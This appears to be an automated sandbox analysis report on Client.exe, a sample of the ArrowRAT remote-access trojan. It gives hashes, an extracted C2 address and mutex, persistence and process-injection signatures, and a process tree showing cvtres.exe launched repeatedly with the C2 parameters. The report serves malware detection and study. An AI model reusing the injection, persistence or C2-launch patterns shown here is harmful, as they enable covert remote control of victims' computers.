Analysis
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max time kernel
128s -
max time network
19s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
08/02/2025, 03:21
Behavioral task
behavioral1
Sample
Client.exe
Resource
win7-20241010-en
windows7-x64
11 signatures
150 seconds
Behavioral task
behavioral2
Sample
Client.exe
Resource
win10v2004-20250207-en
windows10-2004-x64
17 signatures
150 seconds
General
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Target
Client.exe
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Size
158KB
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MD5
7e139460393ef5092b11eff0adbd46f8
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SHA1
5ae92024865a0a52f76898327780e21304d3e35f
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SHA256
79ec7c271adcd148064e5324c66d8ea9c1eefd81c44bde7c9ca754f4fb9d80b3
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SHA512
a852f02e3528ec4bfa3de2aae232acf7a78474303b6221c64965a3eaec55a7e4636cb2fad2e936346dc5e374ec589406b99a68b390dd19a7d1f63b7821fe19ae
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SSDEEP
3072:MbztH+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfPWOO8Y:Mbzte0ODhTEPgnjuIJzo+PPcfPWB8
Score
10/10
Malware Config
Extracted
Family
arrowrat
Botnet
Client
C2
192.168.1.222:1337
Mutex
gWyxhRMMH
Signatures
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Arrowrat family
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Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe -
Modifies registry class 5 IoCs
description ioc Process Set value (data) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff explorer.exe Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots explorer.exe -
Suspicious behavior: EnumeratesProcesses 22 IoCs
pid Process 3004 Client.exe 3004 Client.exe 3004 Client.exe 3004 Client.exe 3004 Client.exe 3004 Client.exe 3004 Client.exe 3004 Client.exe 3004 Client.exe 3004 Client.exe 3004 Client.exe 3004 Client.exe 3004 Client.exe 3004 Client.exe 3004 Client.exe 3004 Client.exe 3004 Client.exe 3004 Client.exe 3004 Client.exe 3004 Client.exe 3004 Client.exe 3004 Client.exe -
Suspicious use of AdjustPrivilegeToken 16 IoCs
description pid Process Token: SeDebugPrivilege 3004 Client.exe Token: SeShutdownPrivilege 2820 explorer.exe Token: SeShutdownPrivilege 2820 explorer.exe Token: SeShutdownPrivilege 2820 explorer.exe Token: SeShutdownPrivilege 2820 explorer.exe Token: SeShutdownPrivilege 2820 explorer.exe Token: SeShutdownPrivilege 2820 explorer.exe Token: SeShutdownPrivilege 2820 explorer.exe Token: SeShutdownPrivilege 2820 explorer.exe Token: 33 2892 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 2892 AUDIODG.EXE Token: 33 2892 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 2892 AUDIODG.EXE Token: SeShutdownPrivilege 2820 explorer.exe Token: SeShutdownPrivilege 2820 explorer.exe Token: SeShutdownPrivilege 2820 explorer.exe -
Suspicious use of FindShellTrayWindow 28 IoCs
pid Process 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe -
Suspicious use of SendNotifyMessage 18 IoCs
pid Process 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe 2820 explorer.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3004 Client.exe -
Suspicious use of WriteProcessMemory 49 IoCs
description pid Process procid_target PID 3004 wrote to memory of 2820 3004 Client.exe 29 PID 3004 wrote to memory of 2820 3004 Client.exe 29 PID 3004 wrote to memory of 2820 3004 Client.exe 29 PID 2820 wrote to memory of 2832 2820 explorer.exe 31 PID 2820 wrote to memory of 2832 2820 explorer.exe 31 PID 2820 wrote to memory of 2832 2820 explorer.exe 31 PID 3004 wrote to memory of 1860 3004 Client.exe 30 PID 3004 wrote to memory of 1860 3004 Client.exe 30 PID 3004 wrote to memory of 1860 3004 Client.exe 30 PID 3004 wrote to memory of 1860 3004 Client.exe 30 PID 3004 wrote to memory of 2992 3004 Client.exe 32 PID 3004 wrote to memory of 2992 3004 Client.exe 32 PID 3004 wrote to memory of 2992 3004 Client.exe 32 PID 3004 wrote to memory of 2992 3004 Client.exe 32 PID 3004 wrote to memory of 2332 3004 Client.exe 33 PID 3004 wrote to memory of 2332 3004 Client.exe 33 PID 3004 wrote to memory of 2332 3004 Client.exe 33 PID 3004 wrote to memory of 2332 3004 Client.exe 33 PID 3004 wrote to memory of 2880 3004 Client.exe 34 PID 3004 wrote to memory of 2880 3004 Client.exe 34 PID 3004 wrote to memory of 2880 3004 Client.exe 34 PID 3004 wrote to memory of 2880 3004 Client.exe 34 PID 3004 wrote to memory of 2876 3004 Client.exe 35 PID 3004 wrote to memory of 2876 3004 Client.exe 35 PID 3004 wrote to memory of 2876 3004 Client.exe 35 PID 3004 wrote to memory of 2876 3004 Client.exe 35 PID 3004 wrote to memory of 2860 3004 Client.exe 36 PID 3004 wrote to memory of 2860 3004 Client.exe 36 PID 3004 wrote to memory of 2860 3004 Client.exe 36 PID 3004 wrote to memory of 2860 3004 Client.exe 36 PID 3004 wrote to memory of 2116 3004 Client.exe 37 PID 3004 wrote to memory of 2116 3004 Client.exe 37 PID 3004 wrote to memory of 2116 3004 Client.exe 37 PID 3004 wrote to memory of 2116 3004 Client.exe 37 PID 3004 wrote to memory of 2940 3004 Client.exe 38 PID 3004 wrote to memory of 2940 3004 Client.exe 38 PID 3004 wrote to memory of 2940 3004 Client.exe 38 PID 3004 wrote to memory of 2940 3004 Client.exe 38 PID 3004 wrote to memory of 2844 3004 Client.exe 39 PID 3004 wrote to memory of 2844 3004 Client.exe 39 PID 3004 wrote to memory of 2844 3004 Client.exe 39 PID 3004 wrote to memory of 2844 3004 Client.exe 39 PID 3004 wrote to memory of 2928 3004 Client.exe 40 PID 3004 wrote to memory of 2928 3004 Client.exe 40 PID 3004 wrote to memory of 2928 3004 Client.exe 40 PID 3004 wrote to memory of 2928 3004 Client.exe 40 PID 3004 wrote to memory of 2912 3004 Client.exe 41 PID 3004 wrote to memory of 2912 3004 Client.exe 41 PID 3004 wrote to memory of 2912 3004 Client.exe 41 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\Client.exe"C:\Users\Admin\AppData\Local\Temp\Client.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3004 -
C:\Windows\explorer.exe"C:\Windows\explorer.exe"2⤵
- Boot or Logon Autostart Execution: Active Setup
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2820 -
C:\Windows\system32\ctfmon.exectfmon.exe3⤵PID:2832
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 192.168.1.222 1337 gWyxhRMMH2⤵PID:1860
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 192.168.1.222 1337 gWyxhRMMH2⤵PID:2992
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 192.168.1.222 1337 gWyxhRMMH2⤵PID:2332
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 192.168.1.222 1337 gWyxhRMMH2⤵PID:2880
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 192.168.1.222 1337 gWyxhRMMH2⤵PID:2876
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 192.168.1.222 1337 gWyxhRMMH2⤵PID:2860
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 192.168.1.222 1337 gWyxhRMMH2⤵PID:2116
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 192.168.1.222 1337 gWyxhRMMH2⤵PID:2940
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 192.168.1.222 1337 gWyxhRMMH2⤵PID:2844
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 192.168.1.222 1337 gWyxhRMMH2⤵PID:2928
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3004 -s 6722⤵PID:2912
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C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x5c81⤵
- Suspicious use of AdjustPrivilegeToken
PID:2892